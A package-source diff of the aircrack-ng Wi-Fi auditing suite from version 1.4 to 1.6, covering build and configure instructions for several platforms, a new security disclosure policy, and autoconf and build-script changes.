+    c:\cygwin\setup-x86.exe -qnNdO -R C:/cygwin -s http://cygwin.mirror.constant.com -l C:/cygwin/var/cache/setup -P autoconf -P automake -P bison -P gcc-core -P gcc-g++ -P mingw-runtime -P mingw-binutils -P mingw-gcc-core -P mingw-gcc-g++ -P mingw-pthreads -P mingw-w32api -P libtool -P make -P python -P gettext-devel -P gettext -P intltool -P libiconv -P pkg-config -P git -P wget -P curl -P libpcre-devel -P libssl-devel -P libsqlite3-devel
+
+#### MSYS2
+
+    pacman -Sy autoconf automake-wrapper libtool msys2-w32api-headers msys2-w32api-runtime gcc pkg-config git python openssl-devel openssl libopenssl msys2-runtime-devel gcc binutils make pcre-devel libsqlite-devel
+
+## Compiling
+
+To build `aircrack-ng`, the Autotools build system is utilized. Autotools replaces
+the older method of compilation.
+
+**NOTE**: If utilizing a developer version, eg: one checked out from source control,
+you will need to run a pre-`configure` script. The script to use is one of the
+following: `autoreconf -i` or `env NOCONFIGURE=1 ./autogen.sh`.
+
+First, `./configure` the project for building with the appropriate options specified
+for your environment:
+
+    ./configure <options>
+
+**TIP**: If the above fails, please see above about developer source control versions.
+
+Next, compile the project (respecting if `make` or `gmake` is needed):
+
+ * Compilation:
+
+    `make`
+
+ * Compilation on *BSD or Solaris:
+
+    `gmake`
+
+Finally, the additional targets listed below may be of use in your environment:
+
+ * Execute all unit testing:
+
+    `make check`
+
+ * Execute all integration testing (requires root):
+ 
+    `make integration`
+
+ * Installing:
+
+    `make install`
+
+ * Uninstall:
+
+    `make uninstall`
+
+
+###  `./configure` flags
+
+When configuring, the following flags can be used and combined to adjust the suite
+to your choosing:
+
+* **with-airpcap=DIR**:  needed for supporting airpcap devices on windows (cygwin or msys2 only)
+                Replace DIR above with the absolute location to the root of the
+                extracted source code from the Airpcap CD or downloaded SDK available
+                online. Required on Windows to build `besside-ng`, `besside-ng-crawler`, 
+                `easside-ng`, `tkiptun-ng` and `wesside-ng` when building experimental tools.
+                The developer pack (Compatible with version 4.1.1 and 4.1.3) can be downloaded at
+                https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html
+
+* **with-experimental**: needed to compile `tkiptun-ng`, `easside-ng`, `buddy-ng`,
+                    `buddy-ng-crawler`, `airventriloquist` and `wesside-ng`.
+                    libpcap development package is also required to compile most of the tools.
+                    If not present, not all experimental tools will be built.
+                    On Cygwin, libpcap is not present and the Airpcap SDK replaces it.
+                    See --with-airpcap option above.
+
+* **with-ext-scripts**: needed to build `airoscript-ng`, `versuck-ng`, `airgraph-ng` and 
+                   `airdrop-ng`. 
+                   Note: Each script has its own dependencies.
+
+* **with-gcrypt**:   Use libgcrypt crypto library instead of the default OpenSSL.
+                And also use internal fast sha1 implementation (borrowed from GIT)
+                Dependency (Debian): libgcrypt20-dev
+
+* **with-duma**:	Compile with DUMA support. DUMA is a library to detect buffer overruns and under-runs.
+            	Dependencies (debian): duma
+
+* **disable-libnl**:  Set-up the project to be compiled without libnl (1 or 3). Linux option only.
+
+* **without-opt**:  Do not enable stack protector (on GCC 4.9 and above).
+
+* **enable-shared**:   Make OSdep a shared library.
+
+* **disable-shared**: When combined with **enable-static**, it will statically compile Aircrack-ng.
+
+* **with-avx512**:  On x86, add support for AVX512 instructions in aircrack-ng. Only use it when
+                    the current CPU supports AVX512.
+
+* **with-static-simd=<SIMD>**: Compile a single optimization in aircrack-ng binary. Useful when compiling
+                    statically and/or for space-constrained devices. Valid SIMD options: x86-sse2,
+                    x86-avx, x86-avx2, x86-avx512, ppc-altivec, ppc-power8, arm-neon, arm-asimd.
+                    Must be used with --enable-static --disable-shared. When using those 2 options, the default
+                    is to compile the generic optimization in the binary. --with-static-simd merely allows
+                    to choose another one.
+
+#### Examples:
+
+  * Configure and compiling:
+
+    ```
+    ./configure --with-experimental
+    make
+    ```
+
+  * Compiling with gcrypt:
+
+    ```
+    ./configure --with-gcrypt
+    make
+    ```
+
+  * Installing:
+
+    `make install`
+
+  * Installing (strip binaries):
+  
+    `make install-strip`
+
+  * Installing, with external scripts:
+
+    ```
+    ./configure --with-experimental --with-ext-scripts
+    make
+    make install
+    ```
+
+  * Testing (with sqlite, experimental and pcre)
+
+    ```
+    ./configure --with-experimental
+    make
+    make check
+    ```
+
+  * Compiling on OS X with macports (and all options):
+
+    ```
+    ./configure --with-experimental
+    gmake
+    ```
+
+  * Compiling on OS X 10.10 with XCode 7.1 and Homebrew:
+
+    ```
+    env CC=gcc-4.9 CXX=g++-4.9 ./configure
+    make
+    make check
+    ```
+
+    *NOTE*: Older XCode ships with a version of LLVM that does not support CPU feature
+    detection; which causes the `./configure` to fail. To work around this older LLVM,
+    it is required that a different compile suite is used, such as GCC or a newer LLVM
+    from Homebrew.
+
+    If you wish to use OpenSSL from Homebrew, you may need to specify the location
+    to its' installation. To figure out where OpenSSL lives, run:
+
+    `brew --prefix openssl`
+
+    Use the output above as the DIR for `--with-openssl=DIR` in the `./configure` line:
+
+    ```
+    env CC=gcc-4.9 CXX=g++-4.9 ./configure --with-openssl=DIR
+    make
+    make check
+    ```
+
+  * Compiling on FreeBSD with gcc9
+
+    ```
+    env CC=gcc9 CXX=g++9 MAKE=gmake ./configure
+    gmake
+    ```
+
+  * Compiling on Cygwin with Airpcap (assuming Airpcap devpack is unpacked in Aircrack-ng directory)
+
+    ```
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-osdep
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-crypto
+    cp -vfp Airpcap_Devpack/bin/x86/airpcap.dll src/aircrack-util
+    dlltool -D Airpcap_Devpack/bin/x86/airpcap.dll -d build/airpcap.dll.def -l Airpcap_Devpack/bin/x86/libairpcap.dll.a
+    autoreconf -i
+    ./configure --with-experimental --with-airpcap=$(pwd)
+    make
+    ```
+
+ * Compiling on DragonflyBSD with gcrypt using GCC 8
+
+   ```
+   autoreconf -i
+   env CC=gcc8 CXX=g++8 MAKE=gmake ./configure --with-experimental --with-gcrypt
+   gmake
+   ```
+
+ * Compiling on OpenBSD (with autoconf 2.69 and automake 1.16)
+
+   ```
+   export AUTOCONF_VERSION=2.69
+   export AUTOMAKE_VERSION=1.16
+   autoreconf -i
+   env MAKE=gmake ./configure
+   gmake
+   ```
+
+ * Compiling and debugging aircrack-ng
+
+   ```
+   export CFLAGS='-O0 -g'
+   export CXXFLAGS='-O0 -g'
+   ./configure    
+   make
+   LD_LIBRARY_PATH=.libs gdb --args ./aircrack-ng [PARAMETERS]
+   ```
+
+
+# Packaging
+
+Automatic detection of CPU optimization is done at run time. This behavior
+**is** desirable when packaging Aircrack-ng (for a Linux or other distribution.)
+
+Also, in some cases it may be desired to provide your own flags completely and
+not having the suite auto-detect a number of optimizations. To do this, add
+the additional flag `--without-opt` to the `./configure` line:
+
+`./configure --without-opt`
+
+# Using precompiled binaries
+
+## Linux/BSD
+ * Use your package manager to download aircrack-ng
+ * In most cases, they have an old version.
+
+## Windows
+ * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data).
+ * aircrack-ng suite is command line tools. So, you have to open a commandline
+   `Start menu -> Run... -> cmd.exe` then use them
+ * Run the executables without any parameters to have help
+
+# Documentation
+
+
+Documentation, tutorials, ... can be found on https://aircrack-ng.org
+
+See also manpages and the forum.
+
+For further information check the [README](README) file
+
+# Infrastructure sponsors
+
+<img src="https://uploads-ssl.webflow.com/5ac3c046c82724970fc60918/5c019d917bba312af7553b49_MacStadium-developerlogo.png" alt="MacStadium" width="150" height="61">

aircrack-ng-1.6.tar.gz/SECURITY.md Added

@@ -0,0 +1,71 @@
+# Security Policy
+
+Altough we do our best to prevent vulnerabilities, and have tools to help
+catch most of them, we are humans after all, and there will be inevitably
+issues slipping through the cracks.
+
+They can fall into two categories, either in any of the tools in the
+Aircrack-ng suite, or in our presence online (website, forum, emails,
+DNS, etc.).
+
+Depending which category they fall into, different information is needed. We
+do believe in coordinated disclosure, so in order to address them, and
+coordinate disclosure with you (and properly credit you for the discovery),
+report them to us. Do not open bug reports or pull requests.
+
+Our contact email for security issues is security@aircrack-ng.org
+
+If you are unsure how to proceed, need clarifications or have questions or
+remarks about this policy, feel free to email us to inquire.
+
+## Aircrack-ng suite vulnerabilities
+
+### Supported versions
+
+We only support the latest stable present on https://aircrack-ng.org
+
+For security issues present in our GitHub repository (master or any recently
+active branch), open a pull request or bug report.
+
+For any security issue affecting older versions of Aircrack-ng still present
+in currently supported Linux or BSD distributions, file a report with them,
+and email us a short description of the vulnerability along with a link to
+the bug report.
+
+### Reporting
+
+There is no particular template to report the vulnerabilities. Keep in mind
+that a vulnerability is essentially a bug, so please provide us detailed
+information on how to reproduce it, such as:
+
+- Which Aircrack-ng tools are affected? And how? Any proof of concept to
+demonstrate it?
+- Operating systems involved, kernel versions (`uname -a` and
+`lsb_release -a` for example).
+- CPU architecture (`aircrack-ng -u` output is useful); a vulnerability on a
+x86 32 bit may not be exploitable on ARM 64 bit. A bug may also only be present
+when Aircrack-ng is compiled a certain way.
+- All the commands needed to trigger the issue.
+- Did you compile it yourself or did you get it from a package?
+- What equipment did you use? A packet capture may be useful; different
+equipment behaves differently, they have different Wi-Fi stacks, drivers, and
+firmwares.
+- A patch to fix the issue, if available.
+- If CVE numbers have been assigned, please provide them as well.
+
+### Public disclosure
+
+Altough it is essentially a bug, do not submit a bug report or a pull request,
+but email us the data first, so we can coordinate fixing the issue and assist
+you in filing the bug reports, and if you provided a patch, the pull request; a
+patch may need to be broken down in multiple commits for clarity, for example.
+
+## Online presence
+
+For any security issue affecting us specifically (any aircrack-ng.org
+subdomain) such as misconfiguration of our hosting, DNS, email, servers,
+or misconfiguration of the software we are using, email us with all the
+details regarding your findings.
+
+Anything else should be reported to the author or provider of the software,
+hardware, or hosting.

aircrack-ng-1.4.tar.gz/VERSION -> aircrack-ng-1.6.tar.gz/VERSION Changed

aircrack-ng-1.6.tar.gz/VERSION.in Added

aircrack-ng-1.4.tar.gz/autogen.sh -> aircrack-ng-1.6.tar.gz/autogen.sh Changed

aircrack-ng-1.4.tar.gz/build/clang_format_all.sh -> aircrack-ng-1.6.tar.gz/build/clang_format_all.sh Changed

@@ -66,11 +66,11 @@
 fi;
 
 # Format all source code
-find src -iname '*.h' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+find src -iname '*.h' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
     xargs -n1 $CLANG_FORMAT -i -style=file
-find src -iname '*.cpp' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+find src -iname '*.cpp' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
     xargs -n1 $CLANG_FORMAT -i -style=file
-find src -iname '*.c' -a $ ! -path "src/include/*" -a ! -path "src/aircrack-osdep/radiotap/*" $ | \
+find src -iname '*.c' -a $ ! -path "include/aircrack-ng/third-party/*" -a ! -path "lib/radiotap/*" $ | \
     xargs -n1 $CLANG_FORMAT -i -style=file
-$CLANG_FORMAT -i -style=file src/include/eapol.h
-$CLANG_FORMAT -i -style=file src/include/hashcat.h
+$CLANG_FORMAT -i -style=file include/aircrack-ng/third-party/eapol.h
+$CLANG_FORMAT -i -style=file include/aircrack-ng/third-party/hashcat.h

aircrack-ng-1.4.tar.gz/build/cygwin.sh -> aircrack-ng-1.6.tar.gz/build/cygwin.sh Changed

aircrack-ng-1.4.tar.gz/build/dist_check.sh -> aircrack-ng-1.6.tar.gz/build/dist_check.sh Changed

@@ -11,15 +11,14 @@
 
 find . -name .deps -o -name '*.la' -o -name .libs -o -name Makefile -print0 | xargs -0 rm -vfr
 if [ "$TRAVIS_OS_NAME" == "osx" ]; then
-    ./autogen.sh --with-openssl=/usr/local/Cellar/openssl/1.0.2l --with-experimental --with-ext-scripts
+    ./autogen.sh --with-experimental --with-ext-scripts
 else
     ./autogen.sh
 fi
 make
 make dist
 
-V=$(./evalrev)
-BN="aircrack-ng-$V"
+BN=$(find . -name '*.tar.gz' | tail -n1 | sed -e 's/\.tar\.gz//g;s/^\.\///g')
 
 [ -d dist_build ] && rm -fr dist_build
 mkdir dist_build
@@ -27,9 +26,9 @@
 
 tar xzf ../$BN.tar.gz
 cd "$BN"
-if [ "$TRAVIS_OS_NAME" == "osx" ]; then ./configure --with-openssl=/usr/local/Cellar/openssl/1.0.2l --with-experimental --with-ext-scripts; else ./configure --with-experimental --with-ext-scripts; fi
+if [ "$TRAVIS_OS_NAME" == "osx" ]; then ./configure --with-experimental --with-ext-scripts; else ./configure --with-experimental --with-ext-scripts; fi
 make
-make check || { find test -name 'test-suite.log' -exec cat {} ';' && exit 1; }
+make check || { find . -name 'test-suite.log' -exec cat {} ';' && exit 1; }
 make DESTDIR=/tmp/ac install
 
 exit 0

aircrack-ng-1.4.tar.gz/build/gcrypt.sh -> aircrack-ng-1.6.tar.gz/build/gcrypt.sh Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_code_coverage.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_code_coverage.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_compiler.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_compiler.m4 Changed

@@ -90,13 +90,28 @@
         AX_APPEND_FLAG(-std=gnu99, [opt_[]_AC_LANG_ABBREV[]flags])
     ])
 
+    AX_CHECK_COMPILE_FLAG([-fno-strict-aliasing], [
+        AX_APPEND_FLAG(-fno-strict-aliasing, [opt_[]_AC_LANG_ABBREV[]flags])
+    ])
+
     AX_CHECK_COMPILE_FLAG([-Wpointer-arith], [
         AX_APPEND_FLAG(-Wpointer-arith, [opt_[]_AC_LANG_ABBREV[]flags])
     ])
 
-    AX_CHECK_COMPILE_FLAG([-Wstrict-overflow=2], [
-        AX_APPEND_FLAG(-Wstrict-overflow=2, [opt_[]_AC_LANG_ABBREV[]flags])
-    ])
+	case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+        gnu|clang)
+            AX_CHECK_COMPILE_FLAG([-Wstrict-overflow=2], [
+                AX_APPEND_FLAG(-Wstrict-overflow=2, [opt_[]_AC_LANG_ABBREV[]flags])
+            ])
+            ;;
+    esac
+
+    case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+        intel)
+			dnl warning 2218 is: result of call is not used
+            AX_APPEND_FLAG(-diag-disable 2218, [opt_[]_AC_LANG_ABBREV[]flags])
+            ;;
+    esac
 
     case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
         gnu|clang|intel)

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_crypto.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_crypto.m4 Changed

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_expect.m4 Added

@@ -0,0 +1,51 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2019 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_EXPECT],[
+AC_ARG_VAR([EXPECT],[Use this expect tool for tests.])
+dnl Allow env override but do not be fooled by 'EXPECT=t'.
+test t = "$EXPECT" && unset EXPECT
+AC_CHECK_PROG([EXPECT], [expect], [$as_dir/$ac_word$ac_exec_ext], [])
+AS_IF([test "x$EXPECT" = "x"],[
+    AC_MSG_WARN([expect not found; cannot run some tests])
+    EXPECT_FOUND="not found"
+], [
+    EXPECT_FOUND="yes"
+])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_ext_scripts.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_ext_scripts.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_hwloc.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_hwloc.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_largefile.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_largefile.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_libnl.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_libnl.m4 Changed

@@ -54,27 +54,31 @@
                 PKG_CHECK_MODULES([LIBNL3X], [libnl-3.0 >= 3.2], [
                     # CPPFLAGS="$CPPFLAGS $LIBNL3X_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
                     # LIBS="$LIBS $LIBNL3X_LIBS -lnl-genl-3"
-                    LIBNL_CFLAGS="$LIBNL3X_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                    AC_DEFINE([CONFIG_LIBNL30], [1], [Define this if libnl-3.0 is present on your system])
+                    LIBNL_CFLAGS="$LIBNL3X_CFLAGS"
                     LIBNL_LIBS="$LIBNL3X_LIBS -lnl-genl-3"
                     NLLIBNAME="libnl-3.0"
                 ], [
                     PKG_CHECK_MODULES([LIBNL31], [libnl-3.1 = 3.1], [
-                        LIBNL_CFLAGS="$LIBNL31_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                        AC_DEFINE([CONFIG_LIBNL30], [1], [Define this if libnl-3.0 is present on your system])
+                        LIBNL_CFLAGS="$LIBNL31_CFLAGS"
                         LIBNL_LIBS="$LIBNL31_LIBS -lnl-genl"
                         NLLIBNAME="libnl-3.1"
                     ], [
                         PKG_CHECK_MODULES([LIBNL30], [libnl-3.0 >= 3], [
-                            LIBNL_CFLAGS="$LIBNL30_CFLAGS -DCONFIG_LIBNL30 -DCONFIG_LIBNL"
+                            AC_DEFINE([CONFIG_LIBNL30], [1], [Define this if libnl-3.0 is present on your system])
+                            LIBNL_CFLAGS="$LIBNL30_CFLAGS"
                             LIBNL_LIBS="$LIBNL30_LIBS -lnl-genl"
                             NLLIBNAME="libnl-3.0"
                         ], [
                             PKG_CHECK_MODULES([LIBNL1], [libnl-1 >= 1], [
-                                LIBNL_CFLAGS="$LIBNL1_CFLAGS -DCONFIG_LIBNL"
+                                LIBNL_CFLAGS="$LIBNL1_CFLAGS"
                                 LIBNL_LIBS="$LIBNL1_LIBS"
                                 NLLIBNAME="libnl-1"
                             ], [
                                 PKG_CHECK_MODULES([LIBNLT], [libnl-tiny >= 1], [
-                                    LIBNL_CFLAGS="$LIBNLT_CFLAGS -DCONFIG_LIBNL -DCONFIG_LIBNL20"
+                                    AC_DEFINE([CONFIG_LIBNL20], [1], [Define this if libnl-tiny is present on your system])
+                                    LIBNL_CFLAGS="$LIBNLT_CFLAGS"
                                     LIBNL_LIBS="$LIBNLT_LIBS"
                                     NLLIBNAME="libnl-tiny"
                                 ], [
@@ -94,6 +98,7 @@
                     NLLIBNAME_FOUND="no"
                 else
                     NLLIBNAME_FOUND="yes, found $NLLIBNAME"
+                    AC_DEFINE([CONFIG_LIBNL], [1], [Define this if you have any supported netlink library required])
                 fi
                 ;;
             *)

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_os_detect.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_os_detect.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pcap.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_pcap.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pcre.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_pcre.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pthread.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_pthread.m4 Changed

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_simd.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_simd.m4 Changed

@@ -132,7 +132,6 @@
     AX_CHECK_COMPILE_FLAG([-maltivec], [
         AX_APPEND_FLAG(-maltivec, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
         AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
-        ALTIVEC_FOUND=1
     ])
 
     AX_CHECK_COMPILE_FLAG([-mabi=altivec], [
@@ -140,16 +139,29 @@
         AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
     ])
 
-    AX_CHECK_COMPILE_FLAG([-mvsx], [
-        AX_APPEND_FLAG(-mvsx, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
-        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
-    ])
-
-    AX_CHECK_COMPILE_FLAG([-mpower8-vector], [
-        AX_APPEND_FLAG(-mpower8-vector, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
-        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
-        POWER8_FOUND=1
+    AS_VAR_PUSHDEF([CACHEVAR], [ax_cv_altivec_[]_AC_LANG_ABBREV[]flags])
+    AC_CACHE_CHECK([whether _AC_LANG compiler supports VSX instructions], CACHEVAR, [
+        ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS
+        _AC_LANG_PREFIX[]FLAGS="$ppc_altivec_[]_AC_LANG_ABBREV[]flags -mvsx -mpower8-vector $[]_AC_LANG_PREFIX[]FLAGS"
+        AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
+#if !defined(__VSX__) && !defined(__POWER8_VECTOR__)
+#error macro not defined
+#endif
+        ]])], [AS_VAR_SET(CACHEVAR,[yes])], [AS_VAR_SET(CACHEVAR,[no])])
+        _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags
     ])
+    AS_IF([test x"AS_VAR_GET(CACHEVAR)" = xyes],
+        [
+            ALTIVEC_FOUND=1
+            POWER8_FOUND=1
+            AX_APPEND_FLAG(-mvsx, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+            AX_APPEND_FLAG(-mpower8-vector, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+            AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+        ], [
+            ALTIVEC_FOUND=0
+            POWER8_FOUND=0
+        ])
+    AS_VAR_POPDEF([CACHEVAR])
 fi
 
 if test $IS_X86 -eq 0
@@ -214,6 +226,8 @@
 					])
 					;;
 			esac
+
+			AC_DEFINE_UNQUOTED([AVX512F_FOUND], [$AVX512F_FOUND], [Define to enable AVX-512F buffers.])
 			;;
 	esac

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_sqlite.m4 -> aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_sqlite.m4 Changed

aircrack-ng-1.6.tar.gz/build/m4/ax_ac_append_to_file.m4 Added

aircrack-ng-1.6.tar.gz/build/m4/ax_ac_print_to_file.m4 Added

aircrack-ng-1.6.tar.gz/build/m4/ax_add_am_macro_static.m4 Added

aircrack-ng-1.6.tar.gz/build/m4/ax_am_macros_static.m4 Added

@@ -0,0 +1,38 @@
+# ===========================================================================
+#   https://www.gnu.org/software/autoconf-archive/ax_am_macros_static.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_AM_MACROS_STATIC
+#
+# DESCRIPTION
+#
+#   Adds support for macros that create Automake rules. You must manually
+#   add the following line
+#
+#     include $(top_srcdir)/aminclude_static.am
+#
+#   to your Makefile.am files.
+#
+# LICENSE
+#
+#   Copyright (c) 2009 Tom Howard <tomhoward@users.sf.net>
+#   Copyright (c) 2009 Allan Caffee <allan.caffee@gmail.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 11
+
+AC_DEFUN([AMINCLUDE_STATIC],[aminclude_static.am])
+
+AC_DEFUN([AX_AM_MACROS_STATIC],
+[
+AX_AC_PRINT_TO_FILE(AMINCLUDE_STATIC,[
+# ]AMINCLUDE_STATIC[ generated automatically by Autoconf
+# from AX_AM_MACROS_STATIC on ]m4_esyscmd([LC_ALL=C date])[
+])
+])

aircrack-ng-1.6.tar.gz/build/m4/ax_check_gnu_make.m4 Added

@@ -0,0 +1,95 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_check_gnu_make.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CHECK_GNU_MAKE([run-if-true],[run-if-false])
+#
+# DESCRIPTION
+#
+#   This macro searches for a GNU version of make. If a match is found:
+#
+#     * The makefile variable `ifGNUmake' is set to the empty string, otherwise
+#       it is set to "#". This is useful for including a special features in a
+#       Makefile, which cannot be handled by other versions of make.
+#     * The makefile variable `ifnGNUmake' is set to #, otherwise
+#       it is set to the empty string. This is useful for including a special
+#       features in a Makefile, which can be handled
+#       by other versions of make or to specify else like clause.
+#     * The variable `_cv_gnu_make_command` is set to the command to invoke
+#       GNU make if it exists, the empty string otherwise.
+#     * The variable `ax_cv_gnu_make_command` is set to the command to invoke
+#       GNU make by copying `_cv_gnu_make_command`, otherwise it is unset.
+#     * If GNU Make is found, its version is extracted from the output of
+#       `make --version` as the last field of a record of space-separated
+#       columns and saved into the variable `ax_check_gnu_make_version`.
+#     * Additionally if GNU Make is found, run shell code run-if-true
+#       else run shell code run-if-false.
+#
+#   Here is an example of its use:
+#
+#   Makefile.in might contain:
+#
+#     # A failsafe way of putting a dependency rule into a makefile
+#     $(DEPEND):
+#             $(CC) -MM $(srcdir)/*.c > $(DEPEND)
+#
+#     @ifGNUmake@ ifeq ($(DEPEND),$(wildcard $(DEPEND)))
+#     @ifGNUmake@ include $(DEPEND)
+#     @ifGNUmake@ else
+#     fallback code
+#     @ifGNUmake@ endif
+#
+#   Then configure.in would normally contain:
+#
+#     AX_CHECK_GNU_MAKE()
+#     AC_OUTPUT(Makefile)
+#
+#   Then perhaps to cause gnu make to override any other make, we could do
+#   something like this (note that GNU make always looks for GNUmakefile
+#   first):
+#
+#     if  ! test x$_cv_gnu_make_command = x ; then
+#             mv Makefile GNUmakefile
+#             echo .DEFAULT: > Makefile ;
+#             echo \  $_cv_gnu_make_command \$@ >> Makefile;
+#     fi
+#
+#   Then, if any (well almost any) other make is called, and GNU make also
+#   exists, then the other make wraps the GNU make.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 John Darrington <j.darrington@elvis.murdoch.edu.au>
+#   Copyright (c) 2015 Enrico M. Crisostomo <enrico.m.crisostomo@gmail.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 12
+
+AC_DEFUN([AX_CHECK_GNU_MAKE],dnl
+  [AC_PROG_AWK
+  AC_CACHE_CHECK([for GNU make],[_cv_gnu_make_command],[dnl
+    _cv_gnu_make_command="" ;
+dnl Search all the common names for GNU make
+    for a in "$MAKE" make gmake gnumake ; do
+      if test -z "$a" ; then continue ; fi ;
+      if "$a" --version 2> /dev/null | grep GNU 2>&1 > /dev/null ; then
+        _cv_gnu_make_command=$a ;
+        AX_CHECK_GNU_MAKE_HEADLINE=$("$a" --version 2> /dev/null | grep "GNU Make")
+        ax_check_gnu_make_version=$(echo ${AX_CHECK_GNU_MAKE_HEADLINE} | ${AWK} -F " " '{ print $(NF); }')
+        break ;
+      fi
+    done ;])
+dnl If there was a GNU version, then set @ifGNUmake@ to the empty string, '#' otherwise
+  AS_VAR_IF([_cv_gnu_make_command], [""], [AS_VAR_SET([ifGNUmake], ["#"])],   [AS_VAR_SET([ifGNUmake], [""])])
+  AS_VAR_IF([_cv_gnu_make_command], [""], [AS_VAR_SET([ifnGNUmake], [""])],   [AS_VAR_SET([ifnGNUmake], ["#"])])
+  AS_VAR_IF([_cv_gnu_make_command], [""], [AS_UNSET(ax_cv_gnu_make_command)], [AS_VAR_SET([ax_cv_gnu_make_command], [${_cv_gnu_make_command}])])
+  AS_VAR_IF([_cv_gnu_make_command], [""],[$2],[$1])
+  AC_SUBST([ifGNUmake])
+  AC_SUBST([ifnGNUmake])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_check_openssl.m4 -> aircrack-ng-1.6.tar.gz/build/m4/ax_check_openssl.m4 Changed

@@ -49,15 +49,27 @@
               ;;
             esac
         ], [
-            # if pkg-config is installed and openssl has installed a .pc file,
-            # then use that information and don't search ssldirs
-            AC_CHECK_TOOL([PKG_CONFIG], [pkg-config])
-            if test x"$PKG_CONFIG" != x""; then
-                OPENSSL_LDFLAGS=`$PKG_CONFIG openssl --libs-only-L 2>/dev/null`
-                if test $? = 0; then
